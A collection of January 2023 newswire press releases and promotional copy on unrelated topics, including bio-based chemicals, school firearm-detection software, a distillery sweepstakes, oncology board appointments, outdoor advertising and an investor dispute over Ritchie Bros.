Biobased surfactants: Biobased surfactants are made from renewable resources such as vegetable oils and animal fats. Biobased surfactants are being used in a variety of applications across global bio-based chemicals market, including personal care, household, and industrial cleaning. The market for biobased surfactants is expected to grow due to the increasing demand for sustainable and environmentally-friendly products, as well as government regulations promoting the use of bio-based alternatives.

Biobased alcohols: Biobased alcohols are used as an alternative to traditional petrochemical-based alcohols. They are made from renewable resources such as sugarcane, corn, and cassava, and are biodegradable, which makes them an attractive option for the pharmaceutical, food, and cosmetics industries.

Bio-based Acids: Bio-based acids are used as an alternative to traditional petrochemical-based acids. They are made from renewable resources such as sugarcane, corn, and cassava, and are biodegradable, which makes them an attractive option for the food, pharmaceuticals, and industrial applications.

Some of the Top Market Players Are:

AGAE Technologies

Archer Daniels Midland Company

BASF SE

Braskem SA

Cargill Incorporated

Koninklijke DSM N.V

Dow Chemicals

DuPont

Evonik Industries

GFBiochemicals Ltd.

IP Group PLC

Lyondellbasell

Mitsubishi Chemical Corporation

Toray Industries Inc.

Total Energies

Vertec BioSolvents

Other Prominent Players

Directly Purchase a copy of report with TOC @ https://www.astuteanalytica.com/inquire-before-purchase/bio-based-chemicals-market

About Astute Analytica

Astute Analytica is a global analytics and advisory company which has built a solid reputation in a short period, thanks to the tangible outcomes we have delivered to our clients. We pride ourselves in generating unparalleled, in depth and uncannily accurate estimates and projections for our very demanding clients spread across different verticals. We have a long list of satisfied and repeat clients from a wide spectrum including technology, healthcare, chemicals, semiconductors, FMCG, and many more. These happy customers come to us from all across the Globe. They are able to make well calibrated decisions and leverage highly lucrative opportunities while surmounting the fierce challenges all because we analyze for them the complex business environment, segment wise existing and emerging possibilities, technology formations, growth estimates, and even the strategic choices available. In short, a complete package. All this is possible because we have a highly qualified, competent, and experienced team of professionals comprising of business analysts, economists, consultants, and technology experts. In our list of priorities, you-our patron-come at the top. You can be sure of best cost-effective, value-added package from us, should you decide to engage with us.

Contact us:

Aamir Beg

BSI Business Park, H-15,Sector-63, Noida- 201301- India

Phone: +1-888 429 6757 (US Toll Free); +91-0120- 4483891 (Rest of the World)

Email: sales@astuteanalytica.com

Website: www.astuteanalytica.com
Five Schools to be Awarded RADs ROSS AI-based Security Solution

Detroit, Michigan, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Artificial Intelligence Technology Solutions, Inc., (the Company) (OTCPK:AITX), a global leader in AI-driven security and productivity solutions for enterprise clients, along with its wholly owned subsidiary Robotic Assistance Devices, Inc. (RAD), today announced an extension to Baileys Gift campaign, Baileys 5.

The campaign will see RAD donate a minimum of five ROSS AI-based security solutions to qualified K-12 schools in the United States. The program is named in honor of the fifth anniversary of the Marshall County High School shooting in rural Kentucky, which took the lives of Bailey Holt and Preston Cope, both 15 years old, on January 23, 2018. Eighteen other students were injured during the mass shooting, four while attempting to escape the shooter. Bailey Holts mother, Secret Holt participated in the announcement. View the video announcement here https://tinyurl.com/2p96utxz

ROSS (RAD Operations System Software) is RADs software solution enabling millions of legacy IP security cameras previously deployed to be able to connect with the RAD ecosystem (RADSoC). ROSS empowers these non-RAD cameras to run the same AI analytic capabilities as other RAD hardware solutions, including firearm, human, vehicle, perimeter breach and loitering detection and more. With ROSS, RAD is making its advanced security technology accessible to a wider range of clients and strengthening its position as a leader in AI-driven security and safety solutions.

I am so moved that RAD is extending Baileys Gift to now include Baileys 5. Their technology is truly amazing, and we are so blessed to be a part of RADs mission, Secret Holt said. There is no valid reason that schools should have any reluctance or hesitation to add the ROSS technology to their existing security systems. I encourage all schools to apply for consideration.

RADs firearm detection identifies the presence of side arms and long gun firearms. Immediately upon the detection of a firearm, RADs AI-driven analytics can autonomously perform a variety of actions including appropriately activating a local audible and visual alarm, locking and securing electronic doors, notifications to remote monitoring or onsite security personnel, and law enforcement authorities  ideally before any shots are fired.

I see a time when this technology is running on all so-called security cameras, said Steve Reinharz, CEO of AITX and RAD. Existing cameras are nothing more than evidence cameras, they're used for forensics. They're not security cameras, they collect evidence. Our entire mantra is about intelligent autonomous response. We intend to turn these cameras into devices that protect by autonomously initiating lock down procedures, messaging, law enforcement connectivity and more. Seconds save lives. View Reinharz video message here https://youtu.be/bZHWW-dlvt8

The Company believes that there are more than 100,000 K-12 schools that could immediately benefit from this firearm detection technology. RADs hardware and software solutions deploy quickly and provide a non-biased level of early detection and deterrence to potential firearm related events in and around these buildings.

Doug Clemons, Chief Marketing Officer at RAD, said, We know that countless schools could take advantage of RADs ROSS software solution by adding it to their already deployed security networks. This is our way to give back to the community and make a real impact on school safety.

Interested schools may apply for consideration at radsecurity.com/baileys-5/. Conditions apply, see website for details.

Through the Baileys Gift campaign, which was announced in July, 2022, RAD selected 11 applicants to receive ROSA units with firearm technology. Schools selected received, schools selected for the program are located in Michigan, Illinois, Kentucky, Florida, New Mexico, and California. Several schools have received and deployed their ROSA devices with the remainder of the schools now finalizing the deployment process. Additional announcements are expected in the future.

AITX through its subsidiary, Robotic Assistance Devices, Inc. (RAD), is redefining the $25 billion (US) security and guarding services industry through its broad lineup of innovative, AI-driven Solutions-as-a-Service business model. RAD solutions are specifically designed to provide a cost savings to businesses of between 35%-80% when compared to the industrys existing and costly manned security guarding and monitoring model. RAD delivers this tremendous costs savings via a suite of stationary and mobile robotic solutions that complement, and at times, directly replace the need for human personnel in environments better suited for machines. All RAD technologies, AI-based analytics and software platforms are developed in-house.

RAD has a prospective sales pipeline of over 35 Fortune 500 companies and numerous other client opportunities. RAD expects to continue to attract new business as it converts its existing sales opportunities into deployed clients generating a recurring revenue stream. Each Fortune 500 client has the potential of making numerous reorders over time.

CAUTIONARY DISCLOSURE ABOUT FORWARD-LOOKING STATEMENTS

The information contained in this publication does not constitute an offer to sell or solicit an offer to buy securities of Artificial Intelligence Technology Solutions, Inc. (the "Company"). This publication contains forward-looking statements, which are not guarantees of future performance and may involve subjective judgment and analysis. The information provided herein is believed to be accurate and reliable, however the Company makes no representations or warranties, expressed or implied, as to its accuracy or completeness. The Company has no obligation to provide the recipient with additional updated information. The reference to the $25 billion (US) security and guarding services industry as presented above is of no predictive value regarding our future results of operations. No information in this publication should be interpreted as an indication of the Company's future revenues, results of operations, or stock price.

About Artificial Intelligence Technology Solutions (AITX)

AITX is an innovator in the delivery of artificial intelligence-based solutions that empower organizations to gain new insight, solve complex challenges and fuel new business ideas. Through its next-generation robotic product offerings, AITXs RAD, RAD-M and RAD-G companies help organizations streamline operations, increase ROI, and strengthen business. AITX technology improves the simplicity and economics of patrolling and guard services and allows experienced personnel to focus on more strategic tasks. Customers augment the capabilities of existing staffs and gain higher levels of situational awareness, all at drastically reduced cost. AITX solutions are well suited for use in multiple industries such as enterprises, government, transportation, critical infrastructure, education, and healthcare. To learn more, visit www.aitx.ai, www.stevereinharz.com, www.radsecurity.com , www.radgroup.ai, and www.radlightmyway.com, or follow Steve Reinharz on Twitter @SteveReinharz .

###

Steve Reinharz

949-636-7060

@SteveReinharz

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Townsend, Tennessee, Jan. 24, 2023 (GLOBE NEWSWIRE) -- In celebration of National Plan for Vacation Day on January 31, Company Distilling announces the launch of its "Smoky Mountain Sweepstakes. The giveaway offers fans a chance to win one of nine prizes, with the grand prize being an ultimate Smoky Mountain getaway.



The Company Distilling Smoky Mountain Sweepstakes will run through March 16, 2023, and offers the grand prize winner the opportunity to travel to the Smoky Mountains of East Tennessee with a guest. The winner will receive a VIP experience at Company Distilling in Townsend, Tennessee, round-trip airfare for two (2), two-night hotel accommodations, two (2) tickets to a show at the Tennessee Theatre (including a behind-the-scenes tour), and a gift pack featuring local Townsend businesses. All meals and additional transportation are included. The Approximate Retail Value of the Grand Prize is $4,000. Eight (8) Weekly Winners will each receive a gift package from a local Townsend business valued at $100.

We have a passion for gathering around with friends, new and old, slowing down, and enjoying each others company. We look forward to helping one lucky person and a guest do just that in the Smokies, said Kris Tatum, President & Founder.

National Plan for Vacation Day highlights the importance of taking time off to travelboth for personal well-being and for the overall economic prosperity of our nation. The US travel industry is committed to helping Americans reclaim their vacation days and reconnect through travel.

Master Distiller & Founder Jeff Arnett said, We know that time off is limited, so being a part of someone's vacation is an honor. We look forward to creating a unique experience that our guests will remember for years to come. From premium tastings and tours to simply gathering on our back patio and enjoying a cocktail, there is something for everyone.



Company Distilling offers guests an opportunity to book premium experiences while visiting the Great Smoky Mountains, including filling your own bottle with Master Distiller Jeff Arnett and tasting the Companys premium portfolio of products. To learn more information about booking, visit CompanyDistilling.com

For information on how to enter and for complete official rules, please visit CompanyDistilling.com/sweeps. No purchase is necessary. The Sweepstakes is only open to residents of the Continental U.S. (including D.C.) who are at least twenty-one (21) years of age or older at the time of entry.

About Company Distilling

Company Distilling is based in the Great Smoky Mountains of East Tennessee, founded by a group of friends with a history of building distilleries, crafting exceptional spirits, and bringing people together.

Kris Tatum and Jeff Arnett have changed the course of Tennessee distilling over the last 20 years and look forward to continuing to do so with the formation of Company Distilling.

So, when you pour a glass of Company, youre experiencing something new. But one sip and youll know its not their first go around.

Company Distilling | Instagram | Facebook

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GREAT BAY, Sint Maarten (DCOMM)  The Royal Family will be visiting the In-No-Plastic Science Fair during their visit to the country early February.

Various schools, primary and secondary, have been invited to participate in the fair. The theme for this event is, Plastic and Our Environment.

Sint Maarten Nature Foundation Manager Leslie Hickerson said on Monday, We are very excited to host this event for St. Maarten students. It gives them both an opportunity to look at environmental issues on the island and a chance to address those issues with creative ideas.

The added bonus of meeting the Royal Family and earning a spot on one of our snorkel tours hopefully inspires them to put their best designs forward.

The In-No-Plastic team and other Nature Foundation staff are able to answer questions or give help if needed.

The fair will take place at the Belair Community Center from 11:20 AM on Tuesday, February 7.

Students have been invited to create a science-fair style display about their topic. 60 participants will get the opportunity to join a snorkel activity with the Nature Foundation, and winners will be chosen by age group.

His Majesty King Willem Alexander and Her Majesty Queen Maxima last visited Sint Maarten in 2013. This will be Princess Amalias first visit to Sint Maarten, during which time she will be introduced to the islands within the Kingdom.

Members of the Royal Family will pay a visit to the Caribbean part of the Kingdom of the Netherlands from Friday 27 January to Thursday 9 February 2023.
FORT MYERS, Fla., Jan. 24, 2023 (GLOBE NEWSWIRE) -- American Oncology Network, LLC (AON), a fast-growing organization supporting community-based oncology practices across the nation, announced the addition of medical oncologists Stephen Fred Divers, MD, and Vance M. Wright-Browne, MD, to the Board of Managers, effective January 1. Douglas Heldreth, MD, Vipul Patel, MD, and Shalin R. Shah, DO, will continue to serve as members of AONs Board of Managers.

We are pleased to welcome both Dr. Divers and Dr. Wright-Browne to our board, said AON Chief Executive Officer Todd Schonherz. With their vast knowledge and experience in oncology and their true alignment with AONs mission and vision, they will, without a doubt, provide the guidance needed to help us continue supporting community oncology practices and growing our network.

Dr. Divers received his medical degree from Louisiana State University, completed an internal medicine residency at the University of North Carolina at Chapel Hill and then attended an oncology-hematology fellowship at the University of Alabama. Currently, he is a medical oncologist at AONs partner practice Genesis Cancer and Blood Institute in Hot Springs, Arkansas. Dr. Divers also serves as AONs chief medical officer and chairman of AONs advisory board.

I am honored to be selected to join the AON Board of Managers, said Divers. I am passionate about community oncology and being part of an organization such as AON that works hard to preserve community oncology is a rewarding experience.

Dr. Wright-Browne received her medical degree from the University of West Indies, completed a residency program at the University of Connecticut and then attended an oncology-hematology fellowship at the University of Texas MD Anderson Cancer Center. She is Board certified in medical oncology and hematology. She practices at the Florida Cancer Specialists and Research Institute in Port Charlotte, Florida.

Throughout my career, I have had the opportunity to help many people through their cancer journeys, said Wright-Browne. I am eager to continue serving cancer patients in a new way by joining AONs Board of Managers.

Effective January 1, Stephen Orman, MD, and Daniel Spitz, MD, retired from their roles on the Board of Managers. Dr. Orman and Dr. Spitz had served on the Board of Managers since AONs founding in 2018.

We are greatly appreciative to Dr. Orman and Dr. Spitz for their dedication to helping AON grow in the early years and positioning the organization for expansion, said Schonherz. They have been incredibly valuable advisors, and on behalf of the organization, we thank them and wish them well.

For more information about AON and its executive board, visit https://www.aoncology.com/ and https://www.aoncology.com/leadership/.

###

About American Oncology Network, LLC

The American Oncology Network, LLC (AON), an Inc. 5000-recognized company, is an alliance of physicians and seasoned healthcare leaders partnering to ensure the long-term success of community oncology. Launched in 2018, the rapidly expanding AON network represents 107 physicians and 89 nurse practitioners and physician assistants practicing across 18 states. The executive management team of AON encompasses more than three decades of oncology practice management experience, enabling physicians to focus on what matters most  providing the highest quality care for patients.

The organization provides unique and comprehensive protocols for managing administrative procedures and enhancing ancillary services for its affiliates. AON is able to aggregate volume and attain economies of scale, as it guides its member physicians and practices through the transition to value-based reimbursement models that improve the patient experience and help to reduce the per-capita cost of cancer care.

AON also provides a unique model of physician-led, community-based oncology management. With services such as a centralized specialty pharmacy, diagnostics, pathology, fully integrated electronic medical records, a care management team and a variety of financial assistance programs, an alliance with AON ensures that patients experiences are at the very pinnacle of cancer care today. Learn more at AONcology.com.

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Deerfield Beach, Fla., Jan. 24, 2023 (GLOBE NEWSWIRE) -- JM&A Group, one of the largest providers of Finance and Insurance (F&I) products and dealer services in the automotive industry, along with J.D. Power, a global leader in analytics and consumer intelligence, have reinforced their strategic alliance with additional vehicle protection products under the existing umbrella of J.D. Power Edge. The collaboration continues to inspire consumers with enhanced trust and confidence, benefiting from the pair's more than 100 years of combined dealer service.

JM&A Groups focus is to accelerate dealership performance and help our customers stay competitive in a truly consumer-centric way, said Dan Chait, president of JM&A Group. With the new J.D. Power Edge products, dealers can drive interest among their customers by seamlessly plugging a trusted brand into their existing F&I process, allowing them to enhance consumer confidence.

Already, dealers enrolled in the J.D. Power Edge Certified Pre-Owned* Program have experienced positive results in their Certified Pre-Owned and F&I performance with top dealers seeing increases in per vehicle retail (PVR) and service contract penetration as compared to other pre-owned vehicles.

"The addition of J.D. Power Edge has been able to give our customers an added sense of ease from the moment they leave the dealership, knowing that theyre going to be covered, says an F&I Manager at Encore Chrysler Dodge Jeep Ram in Alabama. A majority of our customers recognize the J.D. Power name, allowing us to give validity to the product suite and help alleviate any concerns they may have.

Through this unique alliance, which initially launched in 2021, JM&A Group has been able to pair its proven history of accelerating dealership revenue growth with J.D. Powers extensive automotive data and expertise. This combination has allowed the duo to collaborate on the jointly branded J.D. Power Edge products, which are designed to build immediate trust and confidence for car-buyers nationwide.

The suite of J.D. Power Edge offerings continues to grow with the addition of Vehicle Service Contracts and Vehicle Protection Products. These protection products allow for both online and in-person transactions to be offered to dealers nationwide.

Vehicle Service Contracts

Comprehensive platinum and powertrain limited protection options on vehicles mechanical and electrical systems

Up to 150,000 miles of coverage, depending on vehicle age and mileage

Feature alternative transportation coverage, towing coverage, travel breakdown reimbursements, and replacement fluids coverage

Can be included in vehicle financing

Allow for service at more than 6,000 authorized service centers throughout the U.S. and Canada

Vehicle Protection Products

Comprehensive protection plans with various levels of coverage designed to fit individual consumers needs. Depending on plan level, coverage may include, but is not limited to:

Repairs and/or replacements on tires damaged by road hazards

Cosmetic wheel damage repairs

Dent and interior repairs

Windshield repairs and/or replacements

Reimbursement for alternative transportation and roadside assistance

Looking forward, the two companies plan to offer select F&I training programs and opportunities. Additionally, J.D. Power and JM&A Group will collaborate on analytics projects to better leverage their collective industry insights. To learn more about the alliance, visit https://info.jmagroup.com/jd-power-alliance.

*J.D. Power Edge Certified Pre-Owned Program is available in all states except for New York, where it is available as the J.D. Power Edge Pre-owned Program.

J.D. POWER is a registered service mark of J.D. Power. | J.D. POWER EDGE is administered by Fidelity Warranty Services, Inc. and operated by the Obligor.

About J.D. Power

J.D. Power is a global leader in data and analytics, advisory services and consumer insights. A pioneer in the use of big data, artificial intelligence (AI) and algorithmic modeling capabilities to understand consumer behavior, J.D. Power has been delivering incisive industry intelligence on customer interactions with brands and products for more than 50 years. The worlds leading businesses across major industries rely on J.D. Power to guide their customer-facing strategies.

J.D. Power has offices in North America, Europe and Asia Pacific. To learn more about the companys business offerings, visit JDPower.com/business.

About JM&A Group

JM&A Group, a leader in the F&I industry for more than 40 years, serves more than 3,800 automotive dealerships nationwide. Comprised of Jim Moran & Associates, Inc. (JM&A), Fidelity Warranty Services, Inc. (FWS), Fidelity Insurance Agency, and Courtesy Insurance Company, it provides a variety of products and services such as F&I training and consulting, vehicle protection plans, used vehicle certification programs, pre-paid maintenance plans and GAP programs. Additionally, the company has more than 800 associates, including a dedicated sales force of 300+ associates who support process implementation for dealer operations and digital sales strategies. National Truck Protection Co. Inc., a division of JM&A Group, is a leading vehicle service contract provider in the commercial truck industry and serves customers across a variety of channels throughout the U.S. and Canada including OEM, independent dealer groups, aftermarket truck resellers, agencies and direct-to-consumer. For more information about JM&A Groups products and services, call 1-800-553-7146 or visit www.jmagroup.com.

JM&A Group is a division of JM Family Enterprises, Inc., a privately held company with $18 billion in revenue and more than 5,000 associates, which is headquartered in Deerfield Beach, Florida. Interact with JM Family on Facebook, Twitter, Instagram and LinkedIn.

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English French

JCDecaux becomes official partner of the UN Joint Sustainable Development Goals Fund (Joint SDG Fund), underlining its role as a sustainable media

Paris, 24 January 2023  JCDecaux SE (Euronext Paris: DEC), the number one outdoor advertising company worldwide, announces that it has signed a global strategic partnership with the United Nations Development Programme (UNDP) to support the UN Joint Sustainable Development Goals Fund (Joint SDG Fund), a Fund devised to stimulate the development of Sustainable Development Goals (SDGs) worldwide.

With a daily audience of more than 850 million people globally and in line with its mission of sustainably improving the quality of life of the greatest number of people, JCDecaux practices and promotes responsible outdoor advertising and has supported Major Causes since the companys foundation with campaigns on its street furniture and advertising media to local and international associations and NGOs that promote SDGs.

Promoting responsible outdoor advertising is one of the six commitments made in the 2030 ESG Strategy Roadmap unveiled by JCDecaux in May 2022. Of particular note is the commitment by the Groups subsidiaries to apply the Code of Conduct for Out-of-Home display and to support one or more of the UNs SDGs.

These 17 goals, defined in 2015 and adopted by all of the UN member states, represent a global call to action to eradicate poverty, ensure the prosperity of everyone while at the same time protecting the planet. Universal, inclusive and interconnected, it calls for action to achieve the goals ahead of 2030 based on five major principles (the 5 Ps): People, the Planet, Prosperity, Peace and Partnerships. Since 2015, and backed by the United Nations, many governments have already adopted measures to support these SDGs, leading to the decline of the proportion of the worlds population living in extreme poverty as well as mortality rates linked to non-contagious diseases. The next eight years will be key in making all of the SDGs a reality and in building a better future for everyone. Reaching these goals will require global cooperation, promoted by the United Nations. JCDecaux, via its partnership with the Joint SDG Fund, is committed to making outdoor advertising a key driver in promoting SDGs.

Having signed the United Nations Global Compact in November 2015, JCDecaux is extending its commitment with this new agreement, to support Human rights and commits to a concrete policy of supporting Major Causes throughout the world.

Lisa Kurbiel, Head of the United Nations Joint SDG Fund Secretariat, declared: We are honored to bring the strengths of the UN Joint SDG Fund together with JCDecaux to mobilise a global movement that embeds sustainability at the heart of advertising. The media is a key stakeholder in accelerating the Sustainable Development Goals, playing a major role in advancing societal goals to combat climate change, promote gender equality and reduce inequalities. This great partnership allows us to become changemakers.

Jean-Charles Decaux, Chairman of the Executive Board and Co-CEO of JCDecaux, said: We are delighted with this robust and ambitious partnership agreed with the UN Joint Sustainable Development Goals Fund (Joint SDG Fund), which will benefit a broad range of causes throughout the world in the fields of health, research, gender equality, protection of the vulnerable and the fight against climate change. As a sustainable media, present in more than 80 countries with around 1 million advertising panels worldwide, JCDecaux has supported major causes for a number of years globally and currently contributes to the promotion of 14 of the 17 SDGs. Thanks to our strategy, our way of operating and our range of solutions, we contribute to improving the quality of life in urban centres making them more human and more inclusive. This partnership with the UN Joint SDG Fund allows us to strengthen the visibility of Sustainable Development Goals through local advertising in association with NGOs, who work to reduce poverty, protect the environment, and promote peace and justice.

Key Figures for JCDecaux

2021 revenue: 2,745m (a)  9-month 2022 revenue: 2,283m (a)

 9-month 2022 revenue: 2,283m N1 Out-of-Home Media company worldwide

A daily audience of more than 850 million people in more than 80 countries

957,706 advertising panels worldwide

Present in 3,518 cities with more than 10,000 inhabitants

10,720 employees

JCDecaux is listed on the Eurolist of Euronext Paris and is part of the Euronext 100 and Euronext Family Business indexes

JCDecaux is recognised for its extra-financial performance in the FTSE4Good (3.6/5), CDP (A- Leadership), MSCI (AA) and has achieved Platinum Medal status from EcoVadis

1 st Out-of-Home Media company to join the RE100 (committed to 100% renewable energy)

Out-of-Home Media company to join the RE100 (committed to 100% renewable energy) Leader in self-service bike rental scheme: pioneer in eco-friendly mobility

N1 worldwide in street furniture (530,143 advertising panels)

N1 worldwide in transport advertising with 154 airports and 215 contracts in metros, buses, trains and tramways (340,753 advertising panels)

N1 in Europe for billboards (72,611 advertising panels)

N1 in outdoor advertising in Europe (596,831 advertising panels)

N1 in outdoor advertising in Asia-Pacific (232,268 advertising panels)

N1 in outdoor advertising in Latin America (64,893 advertising panels)

N1 in outdoor advertising in Africa (20,808 advertising panels)

N1 in outdoor advertising in the Middle East (14,177 advertising panels)

(a) Adjusted revenue

For more information about JCDecaux, please visit jcdecaux.com.

Join us on Twitter, Linkedin, Facebook, Instagram and Youtube.

Communications Department: Albert Asseraf

+33 (0) 1 30 79 79 10  albert.asseraf@jcdecaux.com

Investor Relations: Remi Grisard

+33 (0) 1 30 79 79 93  remi.grisard@jcdecaux.com

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VANCOUVER, British Columbia, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The Covid pandemic has changed daily habits and activities in many ways, especially for those accustomed to long daily commutes who can now work from home. It is also changing how cities and buildings are planned and designed, with more road space devoted to cyclists and pedestrians, and driving and parking lanes converted to patios and seating areas.



According to Ben Togeretz, Vancouver Regional Manager for Lumon Canada, As we approach the third anniversary of the Covid pandemic, an increasing number of companies are recognizing the importance of having a patio or balcony thats usable year-round.

Ben is well aware of this scenario since Lumon, an international company based in Finland with a manufacturing facility in Canada is one of many worldwide companies manufacturing glass panel systems to enhance outdoor patios and balconies.

These systems allow spaces to be enclosed when it is raining or windy, and completely open when the weather is good. This is like a convertible car with a retractable top that can be up or down depending on the weather. Like some convertibles which allow tops to be partially opened, retractable panels can also be partially opened. Installations are possible in both new and existing buildings.

Lumons system, allow a balcony or patio to be protected when it is wet or windy, but completely open to the elements when the weather improves. This is different from conventional enclosed apartment balcony designs, which are essentially fixed with sliding windows, and therefore usually are included within a suites area or Floor Space Ratio (FSR).

These systems do not completely enclose a space since there is a need for narrow air gaps between the panels to allow them to be fully retractable. Consequently, the balcony does not become conditioned space, and municipalities across Canada and around the world do not count the size of a balcony with a glass panel installation within the suite area or FSR.

Coquitlam and the City of North Vancouver have taken a step to encourage balcony glass installations by modifying their zoning bylaws in fall 2021 and summer 2022. Within the City of Vancouver, the Building Code allows balcony glass systems, but most zones require the area of the balcony to be included in the FSR calculations. In 2020, Vancouver City Council voted unanimously to direct staff to explore zoning bylaw amendments to encourage the installation of balcony glass systems, but progress has been delayed due to other work priorities.

Lumon, a global company manufacturing glass panel systems for balconies, has noted the considerable benefits of balcony glass in terms of reduced energy costs, noise, and wind attenuation, reduced pollution, and making balconies more usable year-round. They plan to continue discussions with officials at the City of Vancouver to encourage regulatory changes that will allow more year-round balcony glass installations. As more balcony glass installations are completed and appreciated by homeowners and renters, there is increased interest from architects and developers wanting to incorporate retractable balcony glass panels in their new and existing developments.

Lumon officials are therefore interested in meeting with other municipal officials and politicians wanting to implement regulatory changes to encourage more year-round use of balconies in their city or jurisdiction.

For more information contact:

Ben Togeretz, Regional Manager, Lumon Canada Inc.

ben.togeretz@lumon.com

Tel. (1) 604 353 9335 or

Michael Geller, Consultant

geller@sfu.ca

Tel. (1)778 997 9980

Visit Lumons showroom and office

#180  20339  96 Avenue

Langley , BC . V1M 0E4

Tel. + 1 844 655 8666 or 604-744-5440

www.lumon.com

A video accompanying this announcement is available at:

https://www.globenewswire.com/NewsRoom/AttachmentNg/34e36933-76b3-4801-853b-79f54bc189c3
Piarco Trinidad, Jan. 24, 2023 (GLOBE NEWSWIRE) -- On Saturday, January 21, Caribbean Airlines launched its 2023 campaign WELCOME HOME at Adam Smith Square, Port-of-Spain, Trinidad.

The airline transformed the famous Square into a Carnival Village which came alive with steel pan music, Tamboo Bamboo and extempo. There were also traditional Carnival characters like the Blue Devils, Midnight Robbers, Moko Jumbies, Pierrot Grenade and others.

The event started at 12-noon and featured culinary and carnival-themed workshops, as well as face-painting activities for children and the entire family.

Caribbean Airlines CEO Garvin Medera in commenting said: WELCOME HOME is the theme of Caribbean Airlines campaign for 2023. The activity "in D Square" on Saturday was our gift to the people and showcased key aspects of our culture, carnival and many of the elements which make Trinidad and Tobago and the Caribbean region our Home. Without a doubt we can all relate to the idea of HOME and thats why our team is so excited about this campaign - it resonates with everyone.

He added: We are also happy to announce that Caribbean Airlines will be participating in carnivals and festivals across the region, starting as the Diamond Sponsor and Official Airline of Trinidad and Tobago carnival. We are also the Presenting Sponsor of Machel Montano's One show on Carnival Friday in Trinidad. We hope the public enjoyed the event on Saturday and they can look forward to more exciting things as 2023 unfolds. For the latest news and updates, continue to follow our social media channels and check our website. "

Other major highlights of the launch included members of the public coming together to paint a Welcome Home Mural.

There was also a Carnival parade along Ariapita Avenue which featured a Caribbean Airlines float and the children of the world-famous Carnival King and Queen puppets Tan-Tan and Saga Boy.

The days activities culminated with individual performances from Jamaican reggae artiste Agent Sasco, beloved Soca star Voice, DJ Travis World and the King of Soca Machel Montano.

The large crowd also got the opportunity to see Agent Sasco ,Voice and Machel perform the Welcome Home song which was released to the public for the first time on Saturday at the Square, much to the peoples delight.

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Los Angeles, California, United States, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Running a profitable business is not an easy task, primarily for beginners.

There are a lot of things that new business owners dont know, such as the right ways to run their business, how to efficiently manage their resources, or how to attract and retain customers. These factors can easily lead to a businesss downfall in a short amount of time.

To ensure a profitable business venture, entrepreneurs should research these topics in depth and take the necessary steps to ensure success but this might take years- the world of innovation is moving so fast that it might be difficult to catch up with the new trend and stay ahead of the curve.

This is where MOES Group, LLC comes in. The company has a strong track record of success, a centralized database, and offers a wide range of services, including manufacturing, fulfillment, distribution, and marketing. With an impressive history of creating captivating products, MOES Group provides businesses with comprehensive solutions for ensuring the highest quality products and success that result in the brand standing out from the competition.

They create a well-thought-out plan, promote, and market products to a targeted audience; developing new products, or expanding existing lines to meet customer needs. Whether youre looking for a one-time or recurring project, MOES Group has an extensive back catalog of products, and solutions for every business and have been praised for their quality and functionality.

With cutting-edge technology and assistance from experienced top-rated professionals, MOES Group offers businesses a wide range of options for forging an astonishing, top-of-the-line product and is well-equipped to handle all sorts of logistical tasks  from handling large orders directly to taking care of small shipments perfectly every time. Their dedication to customer service ensures that each and every one of their customers is taken care of from start to finish.

The MOES Group offers a variety of services that include supply chain management, logistics, inventory control, and marketing strategy development. Additionally, they transport and deliver products to retailers, warehouses, or consumers. MOES Group services are designed to help businesses improve their efficiency and track their inventory at reduced costs.

One of the top reasons why MOES Group is leading the charge in the industry is their expertise in producing high-quality products and ability to efficiently fulfill orders quickly and accurately. They understand the challenges of running a company and have a vast array of resources at their disposal to help a company thrive- defining a clear goal, helping prioritize resources, and making strategic decisions that will help a company achieve the goals- increasing profits.

MOEs Group Helping Businesses To Thrive And Become Disruptive

Many companies are coming with high-tech innovation powered by digital marketing and revolutionary technology that is disrupting an existing brand without huge funding and taking the market like wildfire providing supreme, profound, and comprehensive solutions to the problem of customers. This opportunity to thrive and become successful has been made possible by private-label companies.

MOES Group, LLC is one of the pioneers in the field of private-label manufacturing and has been in the industry for more than 50 Years. The company is one of the top rated with an extensive portfolio in manufacturing, fulfillment, distributing, and marketing of products of different niches including tech, food, and beverage, transportation, medical, retail, logistics, and more- the achievement has been evident with various international awards and features on authority publications.

MOES Group is a leading provider of innovative, cost-effective, and easy-to-use solutions from concept to delivery. Additionally, the company offers digital marketing, brand identity & design packaging with the finest and first-rated expertise that is certain to bring the best return on the investment steady throughout the campaign and after that.

"We understand that every business is unique and has different needs," said Mohamed, CEO of MOES GROUP. "That's why we take a tailored approach to each of our clients, working closely with them to understand their specific challenges and develop customized solutions to help them achieve their goals.

With the help of MOES Group, many businesses have been able to make their products more recognizable and appealing to customers with a strong brand identity, establishing reputation and trust. Their well-designed packaging makes products stand out on a store shelf, increasing the likelihood of being noticed and purchased. Additionally MOES Group is an expert in conveying important information about the products, such as their benefits and how to use them, influencing a consumers decision to buy, creating a loyal customer base, and driving regular sales.

Taking innovation and digital marketing as a core advertising method, MOES Group reaches a larger audience in a cost-effective & measurable way with the ability to target specific demographics and customer segments such as age, location, interest, and behavior- using social media and search engine organic and paid advertising.

Through data-driven decisions, and regularly tracking and measuring the campaign, MOES group optimizes marketing efforts for the best result. They understand that businesses need access to the best resources possible and are committed to ensuring their clients have everything they need to succeed. Their expansive knowledge and experience provide them with the most comprehensive and effective solutions possible. They are committed to staying current with the latest trends and technologies to ensure clients access to the best resources possible, making them a one-stop shop for all business-related needs.



For the original news story, please visit https://www.publishedpr.com/news/moe-s-group-top-rated-private-label-manufacturer/9488771

Attachment
Perpetual Preferred Security Being Issued Transfers US$145 Million of Value to a Non-Shareholder at the Expense of Existing Common Shareholders



Agreement Seeks to Entrench Management and Board

NEW YORK, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Luxor Capital Group, LP (Luxor), as the manager of funds owning approximately 3.6% of the outstanding shares of Ritchie Bros. Auctioneers Incorporated (NYSE: RBA) (TSX: RBA) (RBA or the Company), today commented on RBAs purported restructuring of RBAs proposed merger with IAA, Inc. (NYSE: IAA) (the IAA Merger).

Luxor is deeply concerned that management and the board of directors (the Board) of RBA chose to further entrench themselves by entering into a completely unnecessary financing with Starboard Value LP (Starboard). After announcing a transaction for IAA that was deeply unpopular among shareholders, instead of listening to those concerns and engaging on the merits with its constituents, management and the Board further harmed their common shareholders by transferring, in Luxors estimation, in excess of $145 million to a third party who does not appear to have ever been invested in the Company. In a collective drive to save face and consummate the ill-conceived IAA Merger, management and the Board issued a valuable security worth 130% of par, per Luxors estimation, to a non-shareholder.1

